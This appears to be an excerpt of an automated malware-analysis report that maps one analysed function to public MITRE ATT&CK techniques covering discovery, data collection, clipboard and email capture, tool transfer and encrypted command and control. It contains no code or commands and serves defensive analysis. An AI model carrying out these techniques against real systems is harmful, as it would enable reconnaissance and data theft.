Function 00CA3778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre